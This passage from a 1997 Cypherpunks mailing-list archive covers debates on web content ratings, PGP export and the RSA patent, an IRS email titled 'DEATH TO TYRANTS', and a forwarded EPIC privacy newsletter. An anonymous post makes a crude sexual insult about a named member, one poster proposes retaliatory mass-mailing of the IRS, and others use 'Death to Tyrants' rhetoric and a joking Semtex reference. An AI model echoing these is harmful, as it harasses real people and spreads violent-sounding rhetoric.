are:

1. that they be truly voluntary with _no_, I'll say that again NO 
coercive power applied to enforce such ratings.

2. the net community, by developing and deploying this software and 
ratings system is handing governments around the world a means to 
censor the net. All they need do once such a system becomes widely 
deployed is step in and pass laws that make it _mandatory_ not 
voluntary. We see such a proposal already here in Australia where it 
is proposed ISP s be subject to massive fines for the content carried 
over the wires unless it can be shown, to the satisfaction of a 
government authority, they did their utmost to prevent certain 
content (ie impose a mandatory voluntary ratings system). This plays 
right into the hands of the government censors who would dismally 
fail to censor the net unless we, as net users, developers etc, hand 
them the solution on a plate.

3. to be consistent you should advocate voluntary ratings for books,
libraries, magazines, newsletters, news papers, billboards,
unsolicited snail mail, government pamphlets etc. I note here the
American Libraries opposition to filtering software and the
violation of the 1st amendment that would probably occur through the
use of such filtering in libraries and some other sites.

This brings to mind another question. What enforcement procedures
do you have in mind where a site claims to be a legitimate news site
under your proposed scheme but your group thinks it is clearly not?

Just who is going to decide what is legitimate and what is not?

Seems to me this has not been very clearly thought through; or 
perhaps it has been clearly thought through and you just want to 
censor everyone else but yourself and your buddies.

I give your article 1 out of 10. Resubmit something better 
researched.
-- 
   .////.   .//    Charles Senescall             apache at quux.apana.org.au
 o:::::::::///     apache at bear.apana.org.au  apache at gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From admin at CyberSpaceTechnologies.com  Thu Jul 24 01:38:47 1997
From: admin at CyberSpaceTechnologies.com (CST Administration Dept)
Date: Thu, 24 Jul 1997 16:38:47 +0800
Subject: I have had ENOUGH of this government bullshit!!
Message-ID: <199707240820.DAA16747@oceanus.host4u.net>



>And you can get PGP outside the US borders from ftp.ox.ac.uk
>or any other ftp://ftp.pgp.net/pub/pgp mirror,
>and also in the US at www.pgp.com or pgp.mit.edu.
>
That is true, but with the MIT setup, you have to certify that you are a US
citizen and that you won't export it. Also, there are lots of folks who have
trouble with the overseas downloads. I just plan on making it available for
those in the US that want an independent site with out all the rig an
mirole.  Besides, I guesss this is just my own way of showing MY government
who I worked for for 8 years that I won't take it anymore. This is my way of
firmly placing myself in the Pro-Encryption camp. That means that their
enemies are mine now. And if the government wants to be my enemy, then it is
their choice. I served 8 years in the Army protecting our interests. One of
them was our Consitution and our Bill of Rights. This is ALSO my my of
letting them know that I will not tolerate them walking all over those core
items anymore without a fight.







From kent at songbird.com  Thu Jul 24 02:10:02 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 24 Jul 1997 17:10:02 +0800
Subject: All the lonely sheeple...
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <19970724015808.65289@bywater.songbird.com>



>On Wed, Jul 23, 1997 at 08:47:18AM -0400, William H. Geiger III wrote:
>In <19970723010939.51681 at bywater.songbird.com>, on 07/23/97 
>   at 01:09 AM, Kent Crispin  said:
>
>>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>>are different than most of ours, he is part of the flock,  nonetheless. 
>
>Well Kent I think that there are distinct differences between someone like
>Tim who dislikes his slavery and is actively working to remove his bonds
>and others like yourself who not only like the "security" of being
>inslaved but wish more chains to be put on us all.
>
>Tim may be part of the "flock" but only because their is a gun to his head
>while youself would be a sheeple even if the slavemasters were gone.

It's a sad commentary on human nature that so many people need an
enemy they can despise, isn't it?

You and Tim and the rest of the narrow minded bigots that fancies
themselves as the "cryptoanarchy elite" -- you go on and on: "Yes, those
goddamn SHEEPLE, those braindead subhuman parasites of true humanity,
that suck the blood of right-thinking productive individuals.  Yes,
the SHEEPLE, that mass of unthinking blind vermin that might as well
be removed from the face of the earth.  They aren't HUMAN.  We're sure
glad we're not like them! Where's that nuclear disinfectant when you
need it?".  All the time congratulating yourselves on your
independence of mind, how you've managed to free yourselves from the
"rat race choir"... 

Welcome to the cryptoanarchy choir!

I was pointing out that fundamentally, Tim's example of the "corporate
types" is vacuous and hypocritical -- he modulates his self-expression
just as much as they do -- but hell, we *all* modulate our
self-expression to preserve our livelihood, at some level or another
-- even Tim McVeigh lets his lawyer do his talking... 

As far as Tim (or you) knows every single one of those "corporate
types" dislikes their slavery just as much as he does, and is working
just as hard as he is to remove their bonds.  Everybody works within
their constraints. 

Tim says in another message that apparently I am dissing him as a
hypocrite because he isn't out blowing up buildings.  No.  He's a
hypocrite because he roars criticism at the sheeple without applying
those same standards to himself.  It's more than the lazy habit of
scapegoating -- it's an active and contemptible use of we-vs-them
demagoguery.

I honor and respect integrity, William.  Even more, I honor and
respect those who keep their strongest criticisms for themselves.  To
paraphrase Nietzsche, in this regard the self-defined "cryptoanarchy
elite" are "not even shallow". 


-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Thu Jul 24 03:01:53 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 24 Jul 1997 18:01:53 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970724023449.58782@bywater.songbird.com>



On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
[...]
> And, yes, all of this privacy loss happens because somebody decided
> it was convenient to put a car-ownership-tax receipt on the outside
> of a car so police can quickly decide if you've paid your taxes...
> The rest of it's just implementation details.

Of course, you could just confine your driving to private roads, and
leave the license plate off. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From zooko at xs4all.nl  Thu Jul 24 03:55:07 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Thu, 24 Jul 1997 18:55:07 +0800
Subject: sober reflection
Message-ID: <199707241042.MAA25077@xs1.xs4all.nl>



A million monkeys operating under the pseudonym "Bill Frantz" typed:

> A similar approach could evolve for network sites.  A sign saying that we
> follow the US Chamber of Commerce's code on fair information practices
> could easily evolve.  My questions are, what should that code contain?
> And, how many different codes do we need?


See "http://www.truste.org/", "TRUSTe", although I thought it 
used to be called "eTrust"?


Zooko Journeyman

[WE INTERRUPT THIS ARTICLE FOR A SPECIAL ARTICLE RATING:  Hey,
Dmitri M. Vulis!  The article entitled "Spawn of Vulis" was not
a flame or insult.  If you deleted it without reading it, 
I encourage you to go retrieve it again and read it.]






From dformosa at st.nepean.uws.edu.au  Thu Jul 24 04:02:23 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 24 Jul 1997 19:02:23 +0800
Subject: I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 24 Jul 1997, CST Administration Dept wrote:

> Screw this. I have finally blown my stack over this bullshit governmental
> crap. From this oint forward, I fully and completely make available, IN THE
> U.S, the International version of PGP 2.63.ix.

Um its RSA that prevent the distrabution of the international version of
PGP in the USA not the goverment.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9b5YaQK0ynCmdStAQE5oAQAyK2FltDm6BlSFzlKUR7VXsDaBEg4R/uV
EYRDws3dKU2RW0Yvw5Anqw1eYSgomF2pnfW2fFU+mQgzd9gLFYcJ/2s5ZrHrD6DV
DyxqHHnnpnPphfyrWJ7+EqlESQ3sjZB2VV7Czr6wzhvZS96TIYczdh3ua2SrYQ3R
7eS7XOuxZ6Q=
=sQJk
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Thu Jul 24 05:15:48 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 24 Jul 1997 20:15:48 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970721183800.02930@bywater.songbird.com>
Message-ID: 




> > The sending of this email to people Jim has communicated with, if it was 
> > a real mail (I haven`t checked before but other people have and have said 
> > the headers indicate it passed through several .gov hosts), constitutes 
> > cowardly harrasment.
> 
> Oh, right.  If there is anyplace in cyberspace where experts in 
> cowardly harassment by email exist, it is on this list.  Get real.

I never claimed to be above a little cowardly harrasment myself, just 
pointed out that this is the general level at which this mail appeared to 
be. Nor indeed did I say there was anything wrong with cowardly 
harrasment, in it`s place.

> More likely someone at IRS thought they would stir things up a bit, 
> and is having a bit of fun watching all this.  Maybe they even 
> thought they were doing people a favor.

Possibly, the first explanation strikes me as most likely. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From 05378440 at d.com  Thu Jul 24 22:21:03 1997
From: 05378440 at d.com (05378440 at d.com)
Date: Thu, 24 Jul 1997 22:21:03 -0700 (PDT)
Subject: Toll Free 800# Internet Access for $19.95 mo
Message-ID: <199707250520.WAA29493@toad.com>


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From dlv at bwalk.dm.com  Thu Jul 24 07:37:22 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 22:37:22 +0800
Subject: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <199707241315.GAA15443@bilbo.reference.com>
Message-ID: <35Lcae20w165w@bwalk.dm.com>



One of my many hats is the owner of a very technical mailing list
with about 400 subscribers.  I received the following unsolicited
e-mail from reference.com, which I'm reposting without comment:

]Received: (from eansender at localhost)
]          by bilbo.reference.com (8.8.5/8.8.4)
]	  id GAA15443 for DLV at DM.COM; Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]Date: Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]From: ean at reference.com
]Message-Id: <199707241315.GAA15443 at bilbo.reference.com>
]To: DLV at DM.COM
]Subject: InReference Email Ad Network Information
]
]Dear List Owner,
]
]As a listowner, you may have heard about us. We're InReference, Inc. We're
]the developers of Reference.COM, the Internet's most comprehensive resource
]for accessing Internet forums. We allow business and home users to easily
]search, find, browse  and participate in more than 150,000 worldwide web
]forums, USENET newsgroups and email lists. Even though you're not currently
]archiving your list with Reference.COM, we thought we'd let you know about a
]new service from InReference that may be of interest. We understand the
]pressures on your time, so thanks in advance for hearing us out.
]
]During the past year, we've been approached by numerous list owners
]asking for help finding sponsors for their lists. While a few lists are
]already funded, others would benefit from additional financial support.
]The reasons are many.  Perhaps the listowner needs helps supporting day-to-day
]operations. Or perhaps there's a desire to grow the list.
]
]We've also been approached by many would-be sponsors, socially-responsible
]companies that wanted to do email advertising the right way--with the
]cooperation and support of the list owner.
]
]To address this need, we've started the InReference email ad network  (EAN).
]Basically, we match you up with advertisers fitting a preference profile that
]you create. We handle ad sales, insertion, auditing, billing, and so on. It
]costs nothing to sign-up, and can generate $0.01-0.05/ad/subscriber depending
]on the list. As a list owner, you choose the type of ad (whether banner or
]standalone) and the frequency of ad insertion. You also have the right to veto
]any ads before they can be sent out.
]
]A more detailed description of EAN can be found at the following URL  :
]	http://www.inreference.com/ean
]Should your interest warrant it, details on signing up can be found at :
]	http://www.inreference.com/ean/listinfo.html
]
]Regards,
]
]Jack Zoken
]President
]InReference, Inc.
]
]PS: Regardless of whether you sign-up for EAN, we'd welcome the opportunity to
]archive your list at Reference.COM. See  __________ to submit your list for
]inclusion.






From mixmaster at remail.obscura.com  Thu Jul 24 07:48:22 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Thu, 24 Jul 1997 22:48:22 +0800
Subject: No Subject
Message-ID: <199707241418.HAA06215@sirius.infonex.com>



Timmy May's 16Kb brain's single convolution is 
directly wired to his rectum for input and his T1 
mouth for output. That's 16K bits, not bytes. Anal 
intercourse has caused extensive brain damage.

  o o Timmy May
   o
  \_/






From sunder at brainlink.com  Thu Jul 24 08:01:13 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 24 Jul 1997 23:01:13 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <19970724023449.58782@bywater.songbird.com>
Message-ID: 



On Thu, 24 Jul 1997, Kent Crispin wrote:

> Of course, you could just confine your driving to private roads, and
> leave the license plate off. 

Of course you could start your own mailing list for NSA spooks and the
like and only send email there.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Thu Jul 24 08:16:34 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 24 Jul 1997 23:16:34 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: 



On Wed, 23 Jul 1997, Tim May wrote:

> Namely, who is "irsnwpr at net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
> what was the reason this was sent to folks who are neither lawyers nor
> reporters nor anyone else who typically receives Treasury Department press
> releases?

I'm probably wrong on this, but the "pr" at the end stands for public
relations, "nw" could be "news wire" or some such.  (And for the clueless,
IRS stands of course for evil jackbooted thugs that eat most of our
paychecks for breakfast...)  :)
 
For one thing, I suggest we setup a nice big form letter and spam them
back with it stating that we do not condone spamming and that we intend to
sue their asses for using our private emails to distribute government
propaganda.  (The quartering of soldiers and all that shit would be a nice
constituional point to include.)  Any lawyer like folk willing to write up
such a beast?  I'd gladly attach my email address to it as it's being
sent.

It could also be a mailing list, if it is, sending email to it will at
least confirm the theory...

It's interesting that I've tried two or three different networks and
nslookup, ping, and traceroute don't show any net.insp.irs.gov, nor any
insp.irs.gov... anyone have better luck finding this evil machine?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tcmay at got.net  Thu Jul 24 08:28:31 1997
From: tcmay at got.net (Tim May)
Date: Thu, 24 Jul 1997 23:28:31 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: 



At 8:03 AM -0700 7/24/97, Ray Arachelian wrote:

>For one thing, I suggest we setup a nice big form letter and spam them
>back with it stating that we do not condone spamming and that we intend to
>sue their asses for using our private emails to distribute government
>propaganda.  (The quartering of soldiers and all that shit would be a nice
>constituional point to include.)  Any lawyer like folk willing to write up
>such a beast?  I'd gladly attach my email address to it as it's being
>sent.

Well, we've had this disagreement before. They, the IRS, have as much right
to use e-mail addresses as anyone else. "Unrequested mail" is not spam.

As for suing them, on what basis?

I think it mildly worrisome, and _potentially_ evidence of threatening
behavior, to send out press releases to those who are not parties to the
Bell matter and are not known to be reporters or media outlets, but this
all remains to be shown.

And of course it may be embarassing to the IRS to be sending out e-mail
with the subject header "DEATH TO TYRANTS." (Note that it was not "Re:
DEATH TO TYRANTS.")

A sentiment I agree with, of course, but I didn't think they did. Maybe
there's one of us inside the Beast? Maybe he's been reading the threads on
how to acquire Semtex?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From fnorky at geocities.com  Thu Jul 24 08:56:21 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Thu, 24 Jul 1997 23:56:21 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: <33D77571.6FC0@geocities.com>



Declan McCullagh wrote:
> 
> It's actually the Secret Service offices that are upstairs from the Time
> bureau, on the top floor of the building. Perhaps because we're close
> enough to see the White House? Dunno. The only time I went up there was
> when they were selling Xmas tree ornaments.
 
Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
them, could you find out if they have a mail order address?

-Doug






From mctaylor at nb.sympatico.ca  Thu Jul 24 09:00:09 1997
From: mctaylor at nb.sympatico.ca (Michael C Taylor)
Date: Fri, 25 Jul 1997 00:00:09 +0800
Subject: Attorneys: RSA patent invalid
In-Reply-To: 
Message-ID: <3.0.2.32.19970724125647.007a2980@pop.nb.sympatico.ca>



At 05:29 PM 23/07/97 -0700, you wrote:
>$25K upfront is prohibitively expensive for freeware and
>for garage-shop programmers.  It's a drop in the bucket for a 
>large project such as Netscape that wants to add some security,
>but in a 3-person-month email widget it's excessive.
>
>On the other hand, it's now possible to license RSAREF for a much
>more reasonable fee from Concentric; I think it's just per-copy
>rather than a big up-front hit.

As of March, 1997 Consensus Development (www.consensus.com) stopped
licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
think it was??) 

Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
RSADSI. 

Maybe too many people were using commerical RSAREF licenses rather than the
BSAFE toolkit.

-M






From fnorky at geocities.com  Thu Jul 24 09:20:44 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 25 Jul 1997 00:20:44 +0800
Subject: I have had ENOUGH of this government bullshit!!
In-Reply-To: 
Message-ID: <33D77A20.6CB6@geocities.com>



? the Platypus {aka David Formosa} wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Thu, 24 Jul 1997, CST Administration Dept wrote:
> 
> > Screw this. I have finally blown my stack over this bullshit governmental
> > crap. From this oint forward, I fully and completely make available, IN THE
> > U.S, the International version of PGP 2.63.ix.
> 
> Um its RSA that prevent the distrabution of the international version of
> PGP in the USA not the goverment.

Yes, but was it not the US government that gave RSA the patent?  My
understanding is that the patent was applied for after the time limit
for applying for patents was up.  Anyone know if this is true?

-Doug






From declan at well.com  Thu Jul 24 09:31:51 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Jul 1997 00:31:51 +0800
Subject: EPIC Alert 4.11 (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 08:10:31 -0400
From: Dave Banisar 




   ==============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.11	                                 July 23, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

=======================================================================
Table of Contents
=======================================================================

[1] AOL to Sell Subscriber Telephone Numbers
[2] Search Engine Rating Scheme Touted at White House
[3] Another House Committee Approves SAFE Crypto Bill
[4] FTC Acts on Kids' Privacy
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
[6] New Bills in Congress
[7] New at the EPIC Bookstore
[8] Upcoming Conferences and Events

=======================================================================
[1] AOL to Sell Subscriber Telephone Numbers
=======================================================================

In a quiet change to its privacy policy, America Online will soon be
adding subscriber phone numbers to the list of personal information that
it sells to direct marketers.  The company may also match member lists
against "publicly available third-party data" to develop lists for
outside direct mail opportunities.  Previously, AOL's privacy policy
prevented the disclosure of subscriber telephone numbers, while allowing
the company to sell member names and addresses.

The new policy, which is to take effect on July 31, can be found in the
relatively obscure "Terms of Service" area of the online service.  No
notice of the new policy has been provided on the "Welcome" screen where
new AOL features are typically announced.  The revised policy states that

     We make our mailing list (name and address) available to
     select independent companies that offer products and information
     we think may interest you.  Additionally, we may make the list
     with telephone numbers available to companies with which AOL,
     Inc. has contractual marketing and online relationships for the
     purpose of permitting such companies to offer products and
     services over the telephone.  AOL, Inc. may also match the
     Member lists against publicly available third-party data
     (demographic information, areas of interest, etc.) to develop
     lists for use by these companies.

The new policy, which is to take effect on July 31, also points out that
AOL discloses individual information in an aggregated form in order to
describe its services to prospective partners, advertisers and other
third parties.  AOL may also use publicly available third-party data such
as demographic information and areas of interest to assist AOL in their
"programming, editorial research and to offer special opportunities to
our Members."

While AOL will generally not disclose "navigational" or "transactional"
information (such as where you go or what you buy through AOL) to third
parties, it may use such information to develop member lists for
companies with which AOL has a contractual marketing relationship.

For years (and most recently before the Federal Trade Commission),
industry has argued that self-regulation and not legislation is the only
way to ensure that businesses protect individual privacy in electronic
media.  If AOL's new privacy policy is representative of industry's
vision of what self regulation entails, users may have real cause for
concern.

More information on online privacy is available at:

     http://www.epic.org/privacy/

=======================================================================
[2] Search Engine Rating Scheme Touted at White House
=======================================================================

Leading industry groups suggested on July 16 that they may exclude
material from widely used search engines unless the authors agree to
attach subjective rating labels to all web pages and other online
information. Less than three weeks after the Supreme Court struck down
the Communications Decency Act, a far more sweeping proposal to restrict
information available on the Internet -- "filtering," "blocking" and
rating online content -- was touted at a White House summit meeting.

Announcing the Administration's "Strategy for a Family Friendly
Internet," President Clinton described the private sector initiative that
will presumably preclude the need for new content-control legislation:

     For ["family-friendly"] controls to work to their full
     potential, we also need to encourage every Internet site,
     whether or not it has material harmful for young people, to
     label its own content as the Vice President described just a
     few moments ago. To help to speed the labeling process along,
     several Internet search engines -- the Yellow Pages of
     cyberspace, if you will -- will begin to ask that all Web
     sites label content when applying for a spot in their
     directories.

     I want to thank Yahoo, Excite and Lycos for this important
     commitment. You're helping greatly to assure that self-
     labeling will become the standard practice. And that must
     be our objective.

While such an approach might seem preferable to CDA-type legislation at
first glance, it raises the specter of an Internet where only the
equivalent of "PG" rated content could be found through the search
engines users have come to depend on.  EPIC is encouraging users to
contact the search services and oppose such rating requirements as
fundamentally at odds with free speech principles.

More information on filtering/blocking/rating, and contact information
for the major search engines, is available at:

     http://www.epic.org/free_speech/censorware/

=======================================================================
[3] Another House Committee Approves SAFE Crypto Bill
=======================================================================

The House International Relations Committee approved the SAFE encryption
bill on July 22.  The legislation, which had already been approved by the
House Judiciary Committee, would substantially relax U.S. export controls
on encryption.  By a vote of 22-13, the committee rejected an amendment
offered by Chairman Benjamin Gilman (R-NY) that would have permitted the
President to maintain strict controls on the technology upon a finding
that "the export of such items would adversely affect the national
security."

The Committee's rejection of Gilman's amendment was particularly
significant, given that top officials from the FBI, National Security
Council and the Drug  Enforcement Agency took the unusual step of
appearing before the panel to warn that use of encryption by criminals
would hamper their ability to fight crime.  Secretary of Defense William
Cohen also transmitted a written appeal to the Committee members in which
he urged rejection of the SAFE bill.

While encryption reform efforts have moved forward in the House,
prospects in the Senate are less promising.  On June 18, the Senate
Commerce Committee approved the Secure Public Networks Act (S. 909),
which was introduced by Sens. Bob Kerrey (D-NE) and John McCain (R-AZ).
That bill contains a number of coercive measures that would force
widespread domestic adoption of key escrow encryption techniques

The SAFE bill will now be considered by the Commerce, National Security,
and Intelligence committees in the House, which are expected to vote on
the legislation by early September.

More information on the SAFE bill is available at:

     http://www.epic.org/crypto/

=======================================================================
[4] FTC Acts on Kids' Privacy
=======================================================================

The Federal Trade Commission has found that a web site which collects
data from kids and then sells it without notice is engaging in a
deceptive business practice in violation of the Federal Trade Commission
Act.

The Center for Media Education brought the complaint against KidsCom on
May 13, 1996, charging that the popular children's Web site was using
deceptive and unfair practices to market to children.  CME filed the
petition in an effort to address the growing problem of deceptive and
unfair marketing practices targeting children on the Web.

The Commission's action marks the first formal articulation of policy by
the agency's Bureau of Consumer Protection regarding what is permissible
when marketing to children online.  The FTC letter sets out broad
principles that apply generally to online information collection from
children. The FTC stated that:

     A practice is unfair under Section 5 if it causes, or is likely
     to cause, substantial injury to consumers which is not reasonably
     avoidable and is not outweighed by countervailing benefits to
     consumers or competition.(11) We believe that it would likely
     be an unfair practice in violation of Section 5 to collect
     personally identifiable information, such as name, e-mail
     address, home address or phone number, from children and
     sell or otherwise disclose such identifiable information to
     third parties without providing parents with adequate notice,
     as described above, and an opportunity to control the
     collection and use of the information.

Because KidsCom changed the operation of its website after the CME
complaint was filed, the FTC said that it would take no enforcement
action. The FTC letter concluded:

     We will continue to monitor KidsCom, as well as other
     commercial Web site operators, to ascertain whether they may
     be engaged in deceptive or unfair practices. Hereafter, staff
     may recommend law enforcement proceedings against marketers
     who engage in deceptive information practices, or who unfairly
     use personally identifiable information collected from
     children.

FTC Letter Ruling is available at:

     http://www.ftc.gov/os/9707/cenmed~1.htm

CME Statement is available at:

     http://tap.epn.org/cme/ftc716.html

=======================================================================
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
=======================================================================

The Cellular Telephone Industry Association (CTIA) on July 16 asked the
Federal Communications Commission to step in to help develop the
standards for wiretapping under the Communications Assistance for Law
Enforcement Act (CALEA).  The telephone industry and the FBI have been
quietly meeting for two years to develop the new standards required by
the law.  The CTIA is objecting to additional FBI demands not included in
the law such as that cellular phones function as tracking devices.

In a July 15 letter to FBI Director Louis Freeh, the head of CTIA, Thomas
Wheeler, called the FBI position "intractable" and detailed how FBI and
law enforcement objections prevent an industry-sponsored standard from
being adopted.  In response, the Bureau called the CTIA action a "short
circuit" of the standards process and denied that it was seeking
additional powers.  Both the industry position and the FBI demands are
problematic from a privacy perspective, as both would facilitate easier
wiretapping and the collection of transactional information.

CALEA requires that all telecommunications providers redesign their
systems by October 1998 to make wiretapping of new communications
technologies easier.  Phone companies are eligible to receive $500
million from the FBI to implement the new systems.

More information on CALEA and wiretapping is available from:

     http://www.epic.org/privacy/wiretap/

=======================================================================
[6] New Bills in Congress
=======================================================================

H.R. 2180. On-Line Copyright Liability Limitation Act.  Would limit
liability for online service providers that are not aware that
copyrighted materials are going over their networks.  Introduced by Rep.
Coble (R-NC) on July 16. Referred to the Committee on the Judiciary.

H.R.2198.  Genetic Privacy and Nondiscrimination Act of 1997.  Would
limit use and disclosure of genetic information by health insurance
companies; prohibit employers from attempting to acquire, or to use,
genetic information, or "to require a genetic test of an employee or
applicant for employment" or to disclose the information.  Introduced by
Rep. Stearns (R-FL) on July 17.  Referred to the Committee on Commerce,
and in addition to the Committees on Government Reform and Oversight,
Education and the Workforce, and Veterans' Affairs.

An up-to-date list of pending legislation is available at:

     http://www.epic.org/privacy/bill_track.html

=======================================================================
[7] New at the EPIC Bookstore
=======================================================================

The EPIC Bookstore includes a wide range of books on privacy,
cryptography and free speech that can be ordered online.  Many of the
books are available at up to 40 percent off list price.

New titles include:

  "Protect Your Privacy on the Internet" by Bryan Pfaffenberger

  "Digital Cash" by Peter Wayner

  "Contested Commodities" by Margaret Jane Radin

Other popular titles:

  "The Right to Privacy" by Ellen Alderman & Caroline Kennedy

  "Who Knows: Safeguarding Your Privacy in a Networked World"
   by Ann Cavoukian & Don Tapscott

  "Applied Cryptography, 2nd Edition" by Bruce Schneier

We are also now featuring _The Tin Drum_ by Gunther Grass.  The novel, a
bizarre but extraordinary diary of a young boy who refuses to grow up
during the rise and fall of Nazi Germany, is considered by some the
greatest German novel written since WWII.  In 1979, the film version of
the Tin Drum received an Academy Award for Best Foreign Film.  However,
in recent months, groups that oppose "pornography" have persuaded the
Oklahoma City Library to remove copies of the film from the public
library.  For this reason, we are now making the book available at the
EPIC Bookstore.

Support the Freedom to Read.

Check out the EPIC Bookstore at:

     http://www.epic.org/bookstore/

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Hacking In Progress. August 8-10, 1997. Almere, Netherlands. Sponsored by
Hac-Tic. Contact: http://www.hip97.nl/

Beyond HOPE. August 8-10, New York City. Sponsored by 2600. Contact:
http://www.2600.com.

TELECOM Interactive 97.  September 8-14, 1997. Geneva, Switzerland.
Sponsored by the International Telecommunications Union.  Contact:
telecom-interactive at itu.int or http://gold.itu.int/TELECOM/int97/

Cryptography and The Internet: Developing Privacy and Security Policy
for the European Information Society. September 15, 1997. Brussels,
Belgium. Sponsored by Privacy International. Contact: ast3 at privacy.org.
http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
September 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission. Email privacy at infoboard.be

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by Lavery, de Billy (corporate law firm).
http://www.confpriv.qc.ca/

Managing the Privacy Revolution '97. October 21-23, 1997. Washington, DC.
Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

RSA'98 -- The 1998 RSA Data Security Conference.  January 12-16, 1998.
San Francisco, CA.  Contact kurt at rsa.com or http://www.rsa.com/conf98/


             (Send calendar submissions to alert at epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news at epic.org wih
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest research
center in Washington, DC.  It was established in 1994 to focus public
attention on emerging privacy issues such as the Clipper Chip, the
Digital Telephony proposal, national ID cards, medical record privacy,
and the collection and sale of personal information.  EPIC is sponsored
by the Fund for Constitutional Government, a non-profit organization
established in 1974 to protect civil liberties and constitutional
